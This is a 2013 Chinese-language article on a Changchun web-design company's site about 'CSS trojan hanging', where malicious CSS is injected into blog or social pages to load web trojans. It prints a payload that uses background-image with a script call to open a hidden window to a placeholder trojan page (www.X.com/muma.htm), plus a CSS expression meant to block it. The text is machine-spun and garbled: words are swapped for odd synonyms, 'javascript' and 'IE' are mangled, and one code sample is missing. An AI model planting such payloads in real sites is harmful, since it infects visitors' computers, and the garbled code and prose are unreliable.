长春网站设计
设计与营销的完美结合
长春网站设计
付款方式 | 意见反馈 | 帮助中心 | 登录 | 注册
【产品大全】 | 域名管理 | 主机管理
网站建设咨询电话
首 页 网站建设 自助建站 外包维护 域名注册 网站推广 客户案例 企业400 联系我们 了解新格
全国统一热线:400-600-1035
点击:新格客服为您服务!QQ:113177910 点击:新格客服为您服务!QQ:81710510 点击:新格客服为您服务!QQ:827180360
域名查询:www.
.com .net .cn
.com.cn .net.cn .gov.cn
.info .biz .cc
A.网站制作CSS挂马攻防实录

网站制作CSS挂马攻防实录

作者:xgnic 日期:2013-8-5 18:25:55 关注值:

  在Web1.0时代,使用E挂马对于黑客而言,与其说是为了更好地实现木马的躲藏,倒不如说是无可奈何的一个选择。在简朴的HTML网页和缺乏交互性的网站中,黑客可以利用的手段也非常有限,即使采取了复杂的伪装,也很轻易被识破,还不如E来得直接和有效。但如今交互式的Web2.0网站越来越多,答应用户设置与修改的博客、SNS社区等纷纷泛起。这些互动性非常强的社区和博客中,往往会提供丰硕的功能,并且会答应用户使用CSS层叠样式表来对网站制作进行自由的修改,这促使了CSS挂马流行。

  攻CSS挂马方式较多,但主流的方式是通过有漏洞的博客或者SNS社交网站系统,将恶意的CSS代码写入支持CSS功能的个性化页面中。下面我们以典型的CSS挂马方式为例进行讲解。

  方式1:

  Body

  “background-image”在CSS中的主要功能是用来定义页面的背景图片。这是最典型的CSS挂马方式,这段恶意代码主要是通过“background-image”配合t代码让网页木马静静地在用户的电脑中运行。

  那如何将这段CSS恶意代码挂到正常的网页中去呢?黑客可以将天生好的网页木马放到自己指定的位置,然后将该段恶意代码写入挂马网站的网页中,或者挂马网页所调用的CSS文件中。

  方式2:

  Body

  background-image: url(t:open(“http://www.X.com/muma.htm”,”newwindow”,”border=”1″ Height=0, Width=0, top=1000, center=0, toolbar=no,menubar=no, scrollbars=no,resizable=no,location=no,status=no”))

  方式1的CSS挂马技术,在运行时会泛起空缺的页面,影响网页访问者正常的访问,因此比较轻易发现。不外在方式2中的这段代码,使用了t的Open开窗,通过新开一个躲藏的窗口,在后台静静地运行新窗口并激活访问网页溢出木马页面,不会影响访问者观看网页内容,因此更加隐蔽。

  防网络服务器被挂马,通常会泛起防病毒软件告警之类的信息。因为漏洞不断更新,挂马种类时刻都在变换,通过客户真个反映来发现服务器是否被挂马往往疏漏较大。准确的做法是常常检查服务器日志,发现异常信息,常常检查网站代码,使用网页木马检测系统,进行排查。

  目前除了使用以前的阻断弹出窗口防范CSS挂马之外,还可以在网页中设置CSS过滤,将CSS过滤掉。不外假如你选择过滤CSS的话,首先需要注意自己的相关网页是否有CSS的内容,因此我们仍旧首推用阻断方式来防范CSS。阻断代码如下所示:

  emiao1:expression(this.src=”about:blank”,this.outerHTML=”");

  将外域的木马代码的src重写本钱地IE404错误页面的地址,这样,外域的t代码不会被下载。


建站咨询热线:0431-81782345 13624467185

分享到: 更多

A.网站建设
B.域名注册&云服务器
C.企业400电话申请
D.商务短信
E.软件开发
A.信息分类
  • 精品网站欣赏
  • 域名知识
  • 新格资讯
  • 推荐企业
  • 网站推广知识
  • 网站建设
  • 互联网
  • B.信息排行
    seo在网站建设中的意义
    网站建设中5个重要的步骤
    网站建设过程中必须考虑网络营销…
    网站建设中内部链接的意义
    HTML标准的对网站的好处
    网站建设内容的更新是重中之重
    网站设计中的用户体验
    网站建设 用户体验至关重要
    不同的网站不同的制作策划思路
    网站建设程序代码的编写
    中小企业网站建设前必知的八大问…
    长春网站建设推荐图书《网站建设…
    关于新格 | 联系方式 | 付款方式 | 合作加盟 | 招聘英才 | 友情链接 | 软件下载 | 在线咨询 | 网站建设前需要准备哪些资料?
    公司地址:长春市亚泰大街与自由大路交汇五环国际大厦1408室(130031)
    联系电话:0431-81782345 81776970 传真:0431-81776970
    手机:①13624467185 ②13844844006
    全国统一热线:400-600-1035 技术Email:Tech@xingenet.com
    商务推广:商务世纪 | 企业商务礼仪顾问:滕任冬 法律支持:吉林省鹏信律师事务所


    24小时技术支持:13624467185
    全国服务电话:400-600-1035
    版权所有:新格网络技术
    程序: